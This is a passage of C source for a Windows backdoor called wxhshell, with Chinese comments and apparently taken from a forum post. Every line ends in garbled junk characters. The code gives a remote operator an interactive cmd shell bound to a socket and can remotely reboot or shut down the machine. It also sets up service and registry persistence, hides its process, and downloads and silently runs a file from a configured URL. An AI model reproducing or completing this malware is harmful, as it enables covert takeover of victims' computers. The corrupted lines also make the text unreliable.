  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M3F1O6=4j  
  else "zQ<)Q]U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W ;+()vC  
  } f/IQ2yT-:D  
  else { (3!6nQj-t  
Fo;:GX,b  
    switch(cmd[0]) { B>=D$*_  
  =h|cs{eT\2  
  // 帮助 }gt)cOaY  
  case '?': { cjO %X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d8+@K&z|  
    break; dtfOFag4_  
  } :g|NE\z`)/  
  // 安装 UF }[%Sa  
  case 'i': { IhZn  
    if(Install()) 9y5JV3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a8ouk7 G  
    else ANM=:EtP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ONDO xXs  
    break; '@M"#`#0  
    } Q 3^h  
  // 卸载 2QAP$f0Ln  
  case 'r': { ZnzO]  
    if(Uninstall()) BKb#\(95*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [{GN#W|AGP  
    else P 6La)U`VA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f_xvXf:  
    break; 9%NobT  
    } c?. i;4yh  
  // 显示 wxhshell 所在路径 *V\.6,^v  
  case 'p': { WcY_w`*L  
    char svExeFile[MAX_PATH]; JR15y3 F  
    strcpy(svExeFile,"\n\r"); 4KR`  
      strcat(svExeFile,ExeFile); K*b* ]hf{  
        send(wsh,svExeFile,strlen(svExeFile),0); !vpXXI4  
    break; yTK3eK  
    } yFb"2  
  // 重启 I=<Qpd4  
  case 'b': { } S]!W\a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >1Hv c7DP  
    if(Boot(REBOOT)) YaC[S^p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iDl#foXa`  
    else { Cojs;`3iF:  
    closesocket(wsh); }+pwSjsno  
    ExitThread(0); 2PRiiL@  
    } S1Od&v[R  
    break; 6S_mfWsi  
    } dhnX\/  
  // 关机 #Y=b7|l  
  case 'd': { m;>G]Sbe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ert={"Q  
    if(Boot(SHUTDOWN)) Eri007?D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^-- R#$X  
    else { 4u%AZ<-C}m  
    closesocket(wsh); Z4As'al  
    ExitThread(0); 2YY4 XHQS  
    } RN[x\",  
    break; 32SkxcfrCK  
    } !9KDdU  
  // 获取shell se2Y:v  
  case 's': { -=gI_wLbM  
    CmdShell(wsh); "T^%HPif  
    closesocket(wsh); fjy\Q  
    ExitThread(0); 7.ein:M|CB  
    break; r2'K'?T3  
  } b1i~F45h  
  // 退出 LA lX |b  
  case 'x': { /}6y\3h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U YJ>L  
    CloseIt(wsh); Fv %@k{  
    break; 6|f8DX%3V  
    } +6jGU '}[  
  // 离开 LiQH!yHW  
  case 'q': { @ %L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YlG#sBzl  
    closesocket(wsh); |;)_-=L0P  
    WSACleanup(); >#;;g2UV  
    exit(1); 0n`Temb/  
    break; ^%Cd@!dk  
        } OAW_c.)5D  
  } =1R 2`H\  
  } +$(y2F7|u-  
-X7x~x-  
  // 提示信息 N5=}0s]e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CPcUB4a%#  
} n7Eh!<  
  } Et-|[ eL  
R[v<mo[s  
  return; MMET^SO  
} Ps\4k#aOv  
W|rAn2H  
// shell模块句柄 GIpYx`mHi  
int CmdShell(SOCKET sock) C Q iHk  
{ ;Wk3>\nT-  
STARTUPINFO si; V?x&\<;,  
ZeroMemory(&si,sizeof(si)); )T gfd5B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %'e$N9zd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #Y-_kQV*  
PROCESS_INFORMATION ProcessInfo; s}` |!Vyl  
char cmdline[]="cmd"; xele;)Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9 4lt?|3=  
  return 0; ebCS4&c  
} W  wj+\  
,H/O"%OJ  
// 自身启动模式 upk_;ae  
int StartFromService(void) $J)`Ru6.  
{ ^*$!9~  
typedef struct q^wSM  
{ qyKR]%yzi  
  DWORD ExitStatus; xnWezO_  
  DWORD PebBaseAddress; _<c}iZv@  
  DWORD AffinityMask; BLqK5~  
  DWORD BasePriority; +=|%9%  
  ULONG UniqueProcessId; "o u{bKe  
  ULONG InheritedFromUniqueProcessId; I D-I<Ev  
}   PROCESS_BASIC_INFORMATION; y ,`0f|  
T7/DH  
PROCNTQSIP NtQueryInformationProcess; 3&M0@/  
N z=P1&G'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j)iUg03>/4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \' A- Lp  
S-Vxlku]  
  HANDLE             hProcess; ".#h$  
  PROCESS_BASIC_INFORMATION pbi; O6b+eS  
DXO'MZon3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kqo4 v;r  
  if(NULL == hInst ) return 0; awz.~c++  
u` (yT<>H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -T+'3</T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r #w7qEtD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ".( G,TW  
TEj"G7]1$A  
  if (!NtQueryInformationProcess) return 0; ph!h8@e  
@/$i -?E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *(]ZdB_2  
  if(!hProcess) return 0; e(b$LUV  
017nhI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mC0Dj O  
Z}>;@c  
  CloseHandle(hProcess); -w)v38iX!  
f;,*P,K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KV6D0~  
if(hProcess==NULL) return 0; CMv8n@ry  
e?O$`lf  
HMODULE hMod; swJQwY   
char procName[255]; H%Lln#  
unsigned long cbNeeded; .We{W{  
8$ X3J[_j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >+!Ef  
T;PLUjp}  
  CloseHandle(hProcess); Vr %ef:uVV  
{9XNh[NbP  
if(strstr(procName,"services")) return 1; // 以服务启动 [!uVo>Q4  
TK~KM  
  return 0; // 注册表启动 3QdCu<eBZ  
} n3-VqYUP  
c"1Z,M;G  
// 主模块 n)35-?R/M  
int StartWxhshell(LPSTR lpCmdLine) 3r,Kt&2$  
{ M&Ln'BC  
  SOCKET wsl; `}bvbvmA  
BOOL val=TRUE; :Y9/} b{  
  int port=0; .EH1;/  
  struct sockaddr_in door; J ^<uo (  
d:#tN4y7(  
  if(wscfg.ws_autoins) Install(); NN5Ejr,  
tB(~:"|8  
port=atoi(lpCmdLine); E2>+V{TF  
fWi/mK3c  
if(port<=0) port=wscfg.ws_port; L$kB(Brw  
~ ^   
  WSADATA data; vEGI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E'SDT*EI  
L*vKIP<EMM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A&WC})H5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &,{YfAxQ`  
  door.sin_family = AF_INET; * >8EMq\^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?k;htJcGv  
  door.sin_port = htons(port); ]H\tz@ &  
rcY &n^:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E\;%,19Ob  
closesocket(wsl); 3hUP>F8  
return 1; <dr2 bz  
} u3pFH(  
~#}T|  
  if(listen(wsl,2) == INVALID_SOCKET) { OIjSH~a.  
closesocket(wsl); ~vM99hW  
return 1; "h7Dye  
} K,%CE ].  
  Wxhshell(wsl); 0 ]L   
  WSACleanup(); wEJzLFCn  
 jIH^  
return 0; TOS'|xQ  
<1<xSr  
} 7\R"RH-  
W-/V5=?   
// 以NT服务方式启动 fBv: TC%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |d*a~T0  
{ g-"GZi  
DWORD   status = 0; woBx609Aak  
  DWORD   specificError = 0xfffffff; %2g<zdab  
AYN dV(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c-n/E. E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (j??  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d%-/U!z?  
  serviceStatus.dwWin32ExitCode     = 0; DZ\K7-  
  serviceStatus.dwServiceSpecificExitCode = 0; h0g?=hJq  
  serviceStatus.dwCheckPoint       = 0; 4K? \5(b  
  serviceStatus.dwWaitHint       = 0; =+ >>l0=_v  
gt02Csdt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TO"Md["GI  
  if (hServiceStatusHandle==0) return; "d0=uHd5\  
NMf#0Nz-  
status = GetLastError(); ()O&O+R|)  
  if (status!=NO_ERROR) zp<B,Ls  
{ voN~f>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [Z#Sj=z  
    serviceStatus.dwCheckPoint       = 0; v~x4Y,m%  
    serviceStatus.dwWaitHint       = 0; {+E]c:{  
    serviceStatus.dwWin32ExitCode     = status; c1jR j=\  
    serviceStatus.dwServiceSpecificExitCode = specificError; xz.Jmv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LbRQjwc]W  
    return; )`R}@(r.  
  } ^7YNM<_%@  
kROIVO1|`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 18QqZ,t  
  serviceStatus.dwCheckPoint       = 0; ; teM^zyI  
  serviceStatus.dwWaitHint       = 0; [WG\w j.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2Ki_d  
} [xr^t1  
<<A#4!f  
// 处理NT服务事件,比如:启动、停止 f pq|mY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K.Y`/<  
{ cGgfCF^`  
switch(fdwControl) aK@ Y) Ju'  
{ w]{c*4o  
case SERVICE_CONTROL_STOP: tzIP4CR~F&  
  serviceStatus.dwWin32ExitCode = 0; QRf>lZP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /[\g8U{5B}  
  serviceStatus.dwCheckPoint   = 0; ^4^N}7>5  
  serviceStatus.dwWaitHint     = 0; .7g h2K  
  { prz COw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o9"?z  
  } DR}I+<*%aD  
  return; "YgpgW  
case SERVICE_CONTROL_PAUSE: NGl 8*Af   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7)r]h?  
  break; # 5)/B  
case SERVICE_CONTROL_CONTINUE: $">j~!'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C:5- h(#  
  break; F!ztU8,  
case SERVICE_CONTROL_INTERROGATE: 7` ;sX?R  
  break; Qa )+Tv  
}; J~]@#=,v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n2B%}LLa  
} :1j8!R5  
s!/lQo5/  
// 标准应用程序主函数 D~ Y6%9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 49&i];:%7%  
{ yT@Aj;X0v  
3U{ mC}F  
// 获取操作系统版本 S7f.^8  
OsIsNt=GetOsVer(); <Q9l'u]3$c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .F 6US<]  
i3N{Dt  
  // 从命令行安装 ) bI.K[0^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZPG,o5`%  
:&vX0 Ce:  
  // 下载执行文件 l1DJ<I2  
if(wscfg.ws_downexe) { znsQ/[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KQNQ<OE 4  
  WinExec(wscfg.ws_filenam,SW_HIDE); h{^v756L  
} Qq`S=:}~x  
M0fN[!*z  
if(!OsIsNt) { MOaI~xZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Zn6T"[$  
HideProc(); >S7t  
StartWxhshell(lpCmdLine); rzAf  {2  
} @Z ==B%`  
else *HR pbe2  
  if(StartFromService()) -a)1L'R  
  // 以服务方式启动 FprdP*/  
  StartServiceCtrlDispatcher(DispatchTable); <!Cjq,Sk7  
else HRyFjAR\?  
  // 普通方式启动 gvuv>A}vJ  
  StartWxhshell(lpCmdLine); %(W&(eN  
8)1q,[:M  
return 0; kJ5z['4?  
}
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只看该作者 1 发表于: 2006-10-10
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